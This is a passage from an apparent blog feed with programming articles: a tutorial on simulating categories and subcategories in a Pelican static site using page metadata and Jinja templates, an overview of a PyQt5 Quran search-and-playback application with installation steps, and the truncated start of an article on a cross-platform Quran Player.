&lt;p&gt;Static websites, like the ones built with &lt;strong&gt;Pelican&lt;/strong&gt;, are incredibly fast, secure, and require very little maintenance. There’s no backend database to worry about, no server-side code that can break or get hacked, and the speed is unmatched because the server simply delivers pre-built HTML files.&lt;/p&gt;
&lt;p&gt;What’s even better? You can &lt;strong&gt;simulate categories and subcategories&lt;/strong&gt; using only pages and folders, without complex taxonomies or dynamic systems. Let me walk you through the process step-by-step, using my actual setup.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;1. Setting Up Your Python Environment and Pelican Project&lt;/h2&gt;
&lt;p&gt;Let’s start from scratch.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Create a new Python environment:&lt;/strong&gt; It’s always a good idea to isolate your project.&lt;/p&gt;

&lt;pre class="language-bash" &gt;
    &lt;code class="language-bash" &gt;
python3 -m venv env
source env/bin/activate
    &lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;&amp;#8226;&lt;strong&gt;Install Pelican:&lt;/strong&gt;&lt;/p&gt;

&lt;pre class="language-bash" &gt;
    &lt;code class="language-bash" &gt;
pip install "pelican[markdown]"
pip install pelican-sitemap pelican-related-posts pelican-neighbors pelican-render-math pelican-jinja2content
    &lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;&amp;#8226;&lt;strong&gt;Create your Pelican project:&lt;/strong&gt;&lt;/p&gt;

&lt;pre class="language-bash" &gt;
    &lt;code class="language-bash" &gt;
pelican-quickstart
    &lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;You’ll be asked a few questions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The site title&lt;/li&gt;
&lt;li&gt;Your author name&lt;/li&gt;
&lt;li&gt;The site URL (you can leave it empty for now)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Pelican will create a basic directory structure for you.&lt;/p&gt;
&lt;pre class="language-text" &gt;
   &lt;code class="language-text" &gt;
my-pelican-site/
├── content/
│   ├── articles/      # Optional if you write articles
│   ├── pages/         # General pages (about, contact, etc.)
│   ├── courses/       # Structured content for courses
│   ├── images/        # Static images
│   ├── pdfs/          # Static PDFs
│   └── extra/         # Additional files
├── output/            # Generated static site (HTML files) after building
├── pelicanconf.py     # Main configuration file
├── publishconf.py     # Production-specific settings (optional)
├── tasks.py           # Optional automation script
├── Makefile           # For quick commands like `make html` and `make serve`
├── requirements.txt   # Python dependencies (optional but recommended)
├── theme/             # Your custom Pelican theme
│   ├── templates/     # Jinja2 HTML templates
│   └── static/        # Theme-specific CSS, JS, images
└── pelican-plugins/   # Pelican plugins folder (if local)
    &lt;/code&gt;
&lt;/pre&gt;
&lt;h2&gt;&lt;br&gt;&lt;/h2&gt;
&lt;h2&gt;2. Understanding the Key Components of a Pelican Project&lt;/h2&gt;
&lt;p&gt;Here’s what matters for our goal:&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;content/&lt;/strong&gt; — where you will write your pages, courses, articles, etc.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;output/&lt;/strong&gt; — the generated static website (HTML files, ready to publish).&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;pelicanconf.py&lt;/strong&gt; — the main configuration file.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;themes/&lt;/strong&gt; — where you can customize the design of your website.&lt;/p&gt;

&lt;p&gt;We will mostly focus on:&lt;/p&gt;
&lt;p&gt;Organizing the &lt;strong&gt;content/&lt;/strong&gt; folder&lt;/p&gt;
&lt;p&gt;Writing rich &lt;strong&gt;Markdown files with metadata&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Configuring &lt;strong&gt;pelicanconf.py&lt;/strong&gt; properly to simulate categories and subcategories using folders.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;3. Setting Up Your Pelican Configuration&lt;/h2&gt;
&lt;p&gt;Here’s a &lt;strong&gt;stripped version of my real configuration focused on pages and folder hierarchy:&lt;/strong&gt;&lt;/p&gt;
&lt;pre class="language-python" &gt;
    &lt;code class="language-python" &gt;

AUTHOR = 'your author name'
SITENAME = 'your site name'
SITEURL = ''

PATH = 'content'
TIMEZONE = 'UTC'
DEFAULT_LANG = 'en'

PLUGIN_PATHS = ['pelican-plugins']
PLUGINS = ['sitemap', 'related_posts', 'neighbors', 'render_math', 'jinja2content']

THEME = 'theme'
STATIC_PATHS = ['images', 'courses', 'extra', 'theme/static', 'pdfs']

PAGE_PATHS = ['pages', 'blogs', 'courses']

PAGE_URL = '{slug}.html'
PAGE_SAVE_AS = '{slug}.html'

PAGE_URLS = {'courses': 'courses/{subject}/{schoolyear}/{slug}.html'}
PAGE_SAVE_AS_TEMPLATES = {'courses': 'courses/{subject}/{schoolyear}/{slug}.html'}

DEFAULT_PAGINATION = 7

DIRECT_TEMPLATES = ['index', 'categories', 'tags', 'archives', 'courses']

    &lt;/code&gt;
&lt;/pre&gt;

&lt;h3&gt;Key Notes:&lt;/h3&gt;
&lt;p&gt;✔️ We tell Pelican where to find &lt;strong&gt;pages&lt;/strong&gt;: &lt;code&gt;'pages', 'blogs', 'courses'&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;✔️ We build URLs for courses based on &lt;strong&gt;metadata&lt;/strong&gt;: subject and school year.&lt;/p&gt;
&lt;p&gt;✔️ We don’t use articles here because we’re simulating categories with &lt;strong&gt;pages&lt;/strong&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;4. How to Create a Page (with Metadata)&lt;/h2&gt;
&lt;p&gt;You can create a page by writing a Markdown file inside &lt;code&gt;content/pages/&lt;/code&gt; or &lt;code&gt;content/courses/&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Here’s a basic example for a &lt;strong&gt;course page:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Create it as &lt;code&gt;content/courses/mathematics/course-1.md&lt;/code&gt;&lt;/p&gt;
&lt;pre class="language-text" &gt;
   &lt;code class="language-text" &gt;
Title: Course 1
Date: 2025-06-24
Type: course
Subject: mathematics
SchoolYear: 2025
Save_as: courses/mathematics/2025/course-1.html
URL: courses/mathematics/2025/course-1.html

Welcome to the Calculus Course for the year 2025. This course covers the fundamentals of calculus...
    &lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;✔️ The metadata at the top (&lt;code&gt;Type&lt;/code&gt;, &lt;code&gt;Subject&lt;/code&gt;, &lt;code&gt;SchoolYear&lt;/code&gt;) is what allows us to &lt;strong&gt;identify a page type, category and subcategory&lt;/strong&gt; and filter pages later in the templates&lt;/p&gt;
&lt;p&gt;✔️  (&lt;code&gt;URL&lt;/code&gt;, &lt;code&gt;Save_as&lt;/code&gt;, ) gives us more control about saving the files&lt;/p&gt;
&lt;p&gt;✔️ you can add other metadata if you want, like description, path to thumbnail..., and all will be accessible to the template&lt;/p&gt;
&lt;p&gt;✔️ This page will automatically be saved as: &lt;code&gt;output/courses/mathematics/2025/course-1.html&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;5. Creating the Illusion of Categories and Subcategories&lt;/h2&gt;
&lt;p&gt;Here’s the trick:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Subjects act as categories.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;School years act as subcategories.&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;And it all comes from the metadata&lt;/p&gt;
&lt;p&gt;When you build the site, Pelican will automatically generate:&lt;/p&gt;
&lt;pre class="language-text" &gt;
    &lt;code class="language-text" &gt;
output/
├── courses/
│   ├── mathematics/
│   │   ├── 2025/
│   │   │   └── calculus.html
│   │   └── 2024/
│   │       └── algebra.html
│   └── physics/
│       └── 2025/
│           └── mechanics.html
    &lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;You’ve now &lt;strong&gt;created categories and subcategories without using Pelican’s built-in categories.&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;6. Building the Website&lt;/h2&gt;
&lt;p&gt;Run the following command to generate your site:&lt;/p&gt;
&lt;pre class="language-bash" &gt;
    &lt;code class="language-bash" &gt;
pelican content
    &lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;Pelican will create the &lt;code&gt;output/&lt;/code&gt; folder containing your static site.&lt;/p&gt;
&lt;p&gt;You can preview it using:&lt;/p&gt;
&lt;pre class="language-bash" &gt;
    &lt;code class="language-bash" &gt;
pelican --listen --autoreload --port 8001
    &lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;Visit &lt;code&gt;http://localhost:8001&lt;/code&gt; to see your site in action.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;7. Navigating the Structure on Your Website&lt;/h2&gt;
&lt;p&gt;Since we configured pelican to find a direct template &lt;code&gt;courses&lt;/code&gt;
we create it in the templates folder exactly named &lt;code&gt;"courses.html"&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;and then , go crazy with your code, do something like:&lt;/p&gt;
&lt;pre class="language-html" &gt;
    &lt;code class="language-html" &gt;
&amp;lt;h2 class=&amp;quot;mb-4&amp;quot;&amp;gt;Browse All Courses&amp;lt;/h2&amp;gt;

&amp;lt;div class=&amp;quot;container mt-5&amp;quot;&amp;gt;
    &amp;lt;h2 class=&amp;quot;mb-4&amp;quot;&amp;gt;Courses by Subject and School Year&amp;lt;/h2&amp;gt;
    {% set subjects = pages | selectattr(&amp;#39;metadata.type&amp;#39;, &amp;#39;equalto&amp;#39;, &amp;#39;course&amp;#39;) | map(attribute=&amp;#39;metadata.subject&amp;#39;) | unique | sort %}
    &amp;lt;ul class=&amp;quot;list-group&amp;quot;&amp;gt;
        {% for subject in subjects %}
            &amp;lt;li class=&amp;quot;list-group-item mb-3&amp;quot;&amp;gt;
                &amp;lt;h4 class=&amp;quot;mb-2&amp;quot;&amp;gt;{{ subject | title }}&amp;lt;/h4&amp;gt;
                {% set schoolyears = pages
                    | selectattr(&amp;#39;metadata.type&amp;#39;, &amp;#39;equalto&amp;#39;, &amp;#39;course&amp;#39;)
                    | selectattr(&amp;#39;metadata.subject&amp;#39;, &amp;#39;equalto&amp;#39;, subject)
                    | map(attribute=&amp;#39;metadata.schoolyear&amp;#39;)
                    | unique | sort %}
                &amp;lt;ul class=&amp;quot;ml-4&amp;quot;&amp;gt;
                    {% for year in schoolyears %}
                        &amp;lt;li class=&amp;quot;mb-2&amp;quot;&amp;gt;
                            &amp;lt;strong&amp;gt;{{ year.replace(&amp;#39;-&amp;#39;, &amp;#39; &amp;#39;) | title }}&amp;lt;/strong&amp;gt;
                            {% set courses = pages
                                | selectattr(&amp;#39;metadata.type&amp;#39;, &amp;#39;equalto&amp;#39;, &amp;#39;course&amp;#39;)
                                | selectattr(&amp;#39;metadata.subject&amp;#39;, &amp;#39;equalto&amp;#39;, subject)
                                | selectattr(&amp;#39;metadata.schoolyear&amp;#39;, &amp;#39;equalto&amp;#39;, year)
                                | sort(attribute=&amp;#39;date&amp;#39;, reverse=True) %}
                            &amp;lt;ul class=&amp;quot;ml-4&amp;quot;&amp;gt;
                                {% for course in courses %}
                                    &amp;lt;li class=&amp;quot;mb-1&amp;quot;&amp;gt;
                                        &amp;lt;a href=&amp;quot;{{ SITEURL }}/{{ course.url }}&amp;quot; class=&amp;quot;text-decoration-none text-primary&amp;quot;&amp;gt;
                                            {{ course.title or course.metadata.coursetitle }}
                                        &amp;lt;/a&amp;gt;
                                    &amp;lt;/li&amp;gt;
                                {% endfor %}
                            &amp;lt;/ul&amp;gt;
                        &amp;lt;/li&amp;gt;
                    {% endfor %}
                &amp;lt;/ul&amp;gt;
            &amp;lt;/li&amp;gt;
        {% endfor %}
    &amp;lt;/ul&amp;gt;
&amp;lt;/div&amp;gt;
    &lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;We go directly to &lt;code&gt;http://localhost:8001/courses&lt;/code&gt; to see it in action.&lt;/p&gt;
&lt;figure&gt;
    &lt;img src="/theme/images/articles/images/pelican-categories.png" alt="pelican categories" style="max-width:100%;height:auto;" &gt;
    &lt;figcaption&gt;Pelcan Generated Categories&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;hr&gt;
&lt;h2&gt;8. Final Thoughts&lt;/h2&gt;
&lt;p&gt;By combining:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Rich metadata in your Markdown files&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;A clean folder hierarchy&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Dynamic template filtering&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You can &lt;strong&gt;build the illusion of a fully categorized, subcategorized website&lt;/strong&gt; without using databases or complex backends.&lt;/p&gt;
&lt;p&gt;It’s fast.&lt;/p&gt;
&lt;p&gt;It’s secure.&lt;/p&gt;
&lt;p&gt;It’s flexible.&lt;/p&gt;
&lt;p&gt;You now have the power to create a blazing-fast static site that rivals, and in many ways outperforms, dynamic CMS platforms.&lt;/p&gt;
&lt;p&gt;If you want to extend this system later, you can easily:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Add pagination&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Track views&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Create search pages using plugins like &lt;code&gt;tipue_search&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Programming"></category><category term="Pelican pages"></category><category term="static website categories"></category><category term="Pelican tutorial"></category><category term="simulate subcategories"></category><category term="Pelican metadata"></category><category term="Python static site"></category><category term="fast website with Pelican"></category><category term="static site navigation"></category></entry><entry><title>Quran Search: A Feature rich and modern design</title><link href="https://mosaid.xyz/articles/quran-search-a-feature-rich-and-modern-design-279.html" rel="alternate"></link><published>2025-02-13T19:40:11+00:00</published><updated>2025-02-13T19:40:11+00:00</updated><author><name>mosaid</name></author><id>tag:mosaid.xyz,2025-02-13:/articles/quran-search-a-feature-rich-and-modern-design-279.html</id><summary type="html">&lt;p&gt;Discover the advanced Quran Browser built with Python and PyQt5. Learn about its features like asynchronous search, audio playback, and customization for Linux power users.&lt;/p&gt;</summary><content type="html">&lt;h2&gt;Exploring the Advanced Quran Browser: A Deep Dive into a Feature-Rich PyQt5 Application&lt;/h2&gt;
&lt;p&gt;In today's software landscape, creating applications that balance robust functionality with a smooth user experience is both an art and a science. The Quran Browser is a testament to this balance, offering an innovative solution for exploring and interacting with Quranic text. Built entirely with Python and PyQt5, this application integrates asynchronous search, dynamic audio playback, persistent user settings, and an intuitive interface—all designed to provide users with a rich and engaging experience.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2&gt;Overview&lt;/h2&gt;
&lt;p&gt;At its core, the Quran Browser is designed to allow users to search, view, and listen to Quranic verses in a way that is both responsive and visually appealing. Whether you're looking up a specific verse, exploring the context around a recitation, or simply enjoying an immersive audio experience, this application has been meticulously crafted to meet your needs.&lt;/p&gt;

&lt;p&gt;The application offers multiple modes of search:&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Text Search:&lt;/strong&gt; Enter Arabic words or phrases to quickly locate the relevant verses.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Surah Search:&lt;/strong&gt; Directly select a surah (chapter) from a dropdown menu or enter its number.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Direct Verse Lookup:&lt;/strong&gt; Specify a combination of surah and ayah numbers to jump directly to a particular verse.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2&gt;Architectural Highlights&lt;/h2&gt;

&lt;h3&gt;Model–View Architecture&lt;/h3&gt;
&lt;p&gt;One of the key strengths of this application is its use of the Model–View architecture via the &lt;code&gt;QAbstractListModel&lt;/code&gt;. By separating the data (the Quranic text and metadata) from its presentation, the application ensures a scalable and maintainable codebase. The custom model, &lt;code&gt;QuranListModel&lt;/code&gt;, not only manages the display data but also supports updates and efficient rendering of search results.&lt;/p&gt;

&lt;h3&gt;Asynchronous Search with QThread&lt;/h3&gt;
&lt;p&gt;To maintain a fluid user experience, especially when dealing with potentially large datasets, the Quran Browser employs asynchronous search operations. The &lt;code&gt;SearchWorker&lt;/code&gt; class runs in a separate thread (using PyQt’s &lt;code&gt;QThread&lt;/code&gt;), which allows the main UI to remain responsive even during intensive search operations. This thoughtful design decision means that users experience minimal lag or freezes when querying the text.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2&gt;Detailed Features&lt;/h2&gt;

&lt;h3&gt;Integrated Audio Playback&lt;/h3&gt;
&lt;p&gt;A standout feature of the Quran Browser is its built-in audio playback system. Utilizing PyQt5’s &lt;code&gt;QMediaPlayer&lt;/code&gt;, the application can play individual verses or an entire sequence of verses:&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Single Verse Playback:&lt;/strong&gt; Quickly play the recitation of a selected verse.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Sequential Playback:&lt;/strong&gt; Build a playlist of consecutive verses or even transition automatically to the next surah when the current one finishes.&lt;/p&gt;
&lt;p&gt;This seamless integration of audio enhances the user's study and listening experience, making it ideal for both casual listeners and serious students of the Quran.&lt;/p&gt;

&lt;h3&gt;Persistent User Settings&lt;/h3&gt;
&lt;p&gt;The application leverages &lt;code&gt;QSettings&lt;/code&gt; to remember user preferences such as window geometry, theme settings (dark or light mode), the chosen text version (Uthmani vs. Simplified), and even the last selected surah. This persistence not only improves usability but also ensures that each session starts with your preferred setup, enhancing productivity.&lt;/p&gt;

&lt;h3&gt;Keyboard Shortcuts for Enhanced Usability&lt;/h3&gt;
&lt;p&gt;Efficiency is key for power users, and the Quran Browser addresses this through an extensive set of keyboard shortcuts:&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Ctrl+F:&lt;/strong&gt; Focus the search input.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Ctrl+D:&lt;/strong&gt; Toggle between dark and light themes.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Space:&lt;/strong&gt; Play audio for the currently selected verse.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Ctrl+P:&lt;/strong&gt; Initiate sequential playback of multiple verses.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Ctrl+S:&lt;/strong&gt; Stop playback immediately.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Ctrl+A:&lt;/strong&gt; Play an entire surah starting from the selected verse.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Escape:&lt;/strong&gt; Toggle between the Uthmani and Simplified text versions.&lt;/p&gt;
&lt;p&gt;These shortcuts provide a quick and efficient way to navigate the application, making it easier to dive into the content without constantly relying on the mouse.&lt;/p&gt;

&lt;h3&gt;Dynamic UI and Themes&lt;/h3&gt;
&lt;p&gt;The user interface of the Quran Browser is designed with both aesthetics and functionality in mind. A splitter layout divides the main window into a results view and a detailed context view, allowing users to seamlessly switch between browsing and in-depth reading. Additionally, the application offers theme customization options that enable users to switch between dark and light modes, catering to different lighting environments and personal preferences.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2&gt;Code Design and Implementation&lt;/h2&gt;

&lt;h3&gt;The Model and Delegate Pattern&lt;/h3&gt;
&lt;p&gt;The code uses a custom &lt;code&gt;QAbstractListModel&lt;/code&gt; (i.e., &lt;code&gt;QuranListModel&lt;/code&gt;) to manage the list of search results efficiently. Complementing this, the &lt;code&gt;QuranDelegate&lt;/code&gt; class handles the rendering of each item in the results view. The delegate is responsible for formatting the Quranic text (including proper right-to-left support) and ensuring that the displayed content is both readable and visually consistent.&lt;/p&gt;

&lt;h3&gt;Asynchronous Operations with QThread&lt;/h3&gt;
&lt;p&gt;Handling resource-intensive operations on the main thread can lead to performance bottlenecks. The Quran Browser circumvents this by offloading the search functionality to a dedicated worker thread (&lt;code&gt;SearchWorker&lt;/code&gt;). This design not only improves responsiveness but also encapsulates error handling and logging—thanks to Python's robust logging module—ensuring that any issues during search operations are gracefully managed.&lt;/p&gt;

&lt;h3&gt;Audio Playback and Sequence Handling&lt;/h3&gt;
&lt;p&gt;Audio integration in the Quran Browser is thoughtfully implemented. The application supports both single file and sequence playback modes:&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;File Naming Convention:&lt;/strong&gt; Audio files must be named using a standardized pattern (e.g., &lt;code&gt;002005.mp3&lt;/code&gt; for Surah 2, Ayah 5). This convention simplifies the process of locating and playing the correct file.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Sequence Playback:&lt;/strong&gt; For a continuous listening experience, the application builds a sequence of audio files. When the end of a surah is reached, it automatically transitions to the next surah (wrapping around to the first surah if necessary), ensuring uninterrupted playback.&lt;/p&gt;

&lt;h2&gt;Installation Guide&lt;/h2&gt;
&lt;p&gt;Getting started with the Quran Browser is simple. Follow these steps to set up the application on your system:&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Clone the repository:&lt;/strong&gt;&lt;/p&gt;
&lt;pre class="language-bash"&gt;
    &lt;code class="language-bash"&gt;

git clone https://github.com/neoMOSAID/quran-search-and-play.git
cd quran-search-and-play

&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Install required packages:&lt;/strong&gt; If you use &lt;code&gt;pip&lt;/code&gt;, run:&lt;/p&gt;
&lt;pre class="language-bash"&gt;
    &lt;code class="language-bash"&gt;

pip install -r requirements.txt

&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;Once the setup is complete, you can start the application by running &lt;code&gt;python3 gui.py&lt;/code&gt;. This will launch the Quran Browser, ready for you to explore its features.&lt;/p&gt;
&lt;h2&gt;Important Note on Audio Files&lt;/h2&gt;

&lt;p&gt;For full functionality, the Quran application requires Quranic audio files named in the specific format &lt;code&gt;XXXYYY.mp3&lt;/code&gt;, where &lt;code&gt;XXX&lt;/code&gt; is the 3-digit surah number and &lt;code&gt;YYY&lt;/code&gt; is the 3-digit ayah number (e.g., &lt;code&gt;002001.mp3&lt;/code&gt; for Surah 2, Ayah 1). You can download complete verse-by-verse audio collections from sources like &lt;a href="https://everyayah.com/recitations_ayat.html" target="_blank"&gt;EveryAyah.com&lt;/a&gt;. After downloading, set audio directory in the menu, by simply selecting it&lt;/p&gt;
&lt;hr /&gt;

&lt;h2&gt;User Experience and Interface&lt;/h2&gt;
&lt;p&gt;The overall design of the Quran Browser prioritizes usability. The split-view layout allows users to easily toggle between a list of search results and detailed context views for selected verses. The integration of persistent settings means that every session is tailored to the user's preferences—from the selected surah and text version to the chosen audio directory.&lt;/p&gt;

&lt;p&gt;Moreover, the application includes a comprehensive Help dialog that details available features and keyboard shortcuts, ensuring that even new users can quickly become proficient in navigating the interface.&lt;/p&gt;

&lt;hr /&gt;

&lt;figure&gt;
    &lt;img src="/theme/images/articles/images/279-quran-search-dark.png" alt="Quran search dark" style="max-width:100%;height:auto;" &gt;
    &lt;figcaption&gt;Quran search dark&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;figure&gt;
    &lt;img src="/theme/images/articles/images/279-quran-search-light.png" alt="Quran search light" style="max-width:100%;height:auto;" &gt;
    &lt;figcaption&gt;Quran search light&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;figure&gt;
    &lt;img src="/theme/images/articles/images/279-quran-search-1.png" alt="Quran search example" style="max-width:100%;height:auto;" &gt;
    &lt;figcaption&gt;Quran search example&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;figure&gt;
    &lt;img src="/theme/images/articles/images/279-quran-search-2.png" alt="Quran search example" style="max-width:100%;height:auto;" &gt;
    &lt;figcaption&gt;Quran search showing the ayah and its context&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;figure&gt;
    &lt;img src="/theme/images/articles/images/279-quran-search-help.png" alt="Quran search example" style="max-width:100%;height:auto;" &gt;
    &lt;figcaption&gt;Quran search help window&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;h2&gt;Customization and Extensibility&lt;/h2&gt;
&lt;p&gt;Designed with both end-users and developers in mind, the Quran Browser is highly customizable. Whether you want to tweak the UI themes, extend the search capabilities, or add new functionalities, the codebase is modular and well-documented. Developers are encouraged to contribute improvements, report issues, or even fork the repository to build their own versions of this powerful tool.&lt;/p&gt;

&lt;hr /&gt;
&lt;h2&gt;Explore the GitHub Repository&lt;/h2&gt;
&lt;p&gt;If you're interested in exploring the Quran Browser further or contributing to its development, you can find the complete source code on its GitHub repository: &lt;a href="https://github.com/neoMOSAID/quran-search-and-play" target="_blank"&gt;https://github.com/neoMOSAID/quran-search-and-play&lt;/a&gt;. The repository includes detailed documentation, installation instructions, and a well-structured codebase. Whether you're a developer looking to learn about PyQt5 or a power user aiming to customize the application, this repository is your go-to resource. Contributions, feedback, and issue reporting are highly encouraged to help improve and expand this powerful tool.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;The Advanced Quran Browser represents a perfect blend of modern software design principles and practical functionality. By leveraging the power of PyQt5, asynchronous operations, and integrated multimedia playback, it offers an engaging and efficient way to explore Quranic text. Its thoughtful architecture, combined with a focus on usability and customization, makes it an exemplary project for anyone interested in both software development and the study of the Quran.&lt;/p&gt;

&lt;p&gt;Whether you’re a developer looking to contribute or a user eager to enhance your study routine, the Quran Browser provides a solid foundation for both exploration and innovation. Embrace the power of technology in your journey of understanding, and experience the Quran like never before.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;&lt;em&gt;Explore, listen, and connect with the timeless wisdom of the Quran through this innovative application—where modern design meets sacred tradition.&lt;/em&gt;&lt;/p&gt;

&lt;!-- This markdown file was generated automatically from the DB --&gt;</content><category term="Programming"></category><category term="Quran Browser"></category><category term="PyQt5 tutorial"></category><category term="Linux Quran app"></category><category term="asynchronous search"></category><category term="Python GUI"></category><category term="Quran audio playback"></category><category term="QSettings example"></category><category term="Quranic study tools"></category><category term="advanced Python project"></category><category term="developer tutorials"></category></entry><entry><title>How to Install and Use Quran Player on Linux, macOS, and Windows</title><link href="https://mosaid.xyz/articles/how-to-install-and-use-quran-player-on-linux-macos-and-windows-278.html" rel="alternate"></link><published>2025-02-06T09:31:56+00:00</published><updated>2025-02-06T09:31:56+00:00</updated><author><name>mosaid</name></author><id>tag:mosaid.xyz,2025-02-06:/articles/how-to-install-and-use-quran-player-on-linux-macos-and-windows-278.html</id><summary type="html">&lt;p&gt;Discover Quran Player, a powerful cross-platform Quran playback tool for Linux, macOS, and Windows. Learn how to install, configure, and use its verse-by-verse recitation, Arabic text display, and system tray integration for an immersive experience.&lt;/p&gt;</summary><content type="html">&lt;h1&gt;Introducing Quran Player: A Cross-Platform Quranic Verse Playback Experience&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;Version:&lt;/strong&gt; 1.3.0&lt;br&gt;
&lt;strong&gt;License:&lt;/strong&gt; GPLv3&lt;/p&gt;

&lt;figure&gt;
    &lt;img src="/theme/images/articles/images/278-icon.png" alt="Quran Player Logo" style="max-width:30%;height:auto;" &gt;
    &lt;figcaption&gt;Quran Player Logo&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;h2&gt;Overview&lt;/h2&gt;
&lt;p&gt;
In today’s digital age, the Quran deserves a modern, intuitive, and cross‑platform way to be experienced. That’s why we created &lt;strong&gt;Quran Player&lt;/strong&gt;—a powerful application that combines audio playback, synchronized visual display, and beautiful Arabic text rendering. Designed for both casual listeners and scholars alike, Quran Player offers a seamless and engaging experience on Windows, Linux, and more.
&lt;/p&gt;

&lt;h2&gt;What Is Quran Player?&lt;/h2&gt;
&lt;p&gt;
Quran Player is not just an audio player. It is a comprehensive system that:
&lt;/p&gt;

&lt;p&gt;&amp;#8226;&lt;strong&gt;Plays Quranic Verses:&lt;/strong&gt; Enjoy verse‑by‑verse playback with auto‑advance.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Displays Arabic Text:&lt;/strong&gt; Experience beautifully rendered Arabic script with proper shaping.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Offers a Graphical Interface:&lt;/strong&gt; Control playback easily using our dark‑themed, system‑tray integrated GUI.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Provides Interactive Search:&lt;/strong&gt; Quickly find and navigate to any verse using our versatile search tool.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Renders Images:&lt;/strong&gt; Generate stunning images of verses with customizable fonts, sizes, colors, and wrapping options.&lt;/p&gt;

&lt;p&gt;
Every component of the system—from the daemon (&lt;code&gt;quran_player.py&lt;/code&gt;) that manages audio playback and state, to the PyQt5‑powered GUI (&lt;code&gt;quran_gui.py&lt;/code&gt;), the interactive search tool (&lt;code&gt;quran_search.py&lt;/code&gt;), and the image rendering utility (&lt;code&gt;arabic_topng.py&lt;/code&gt;)—has been crafted with attention to detail and cross‑platform compatibility.
&lt;/p&gt;

&lt;h2&gt;Key Features&lt;/h2&gt;
&lt;h3&gt;Cross‑Platform Compatibility&lt;/h3&gt;

&lt;p&gt;&amp;#8226;&lt;strong&gt;Windows &amp;amp; Linux Support:&lt;/strong&gt; Separate installation scripts ensure a smooth setup on both Windows and Linux.&lt;/p&gt;
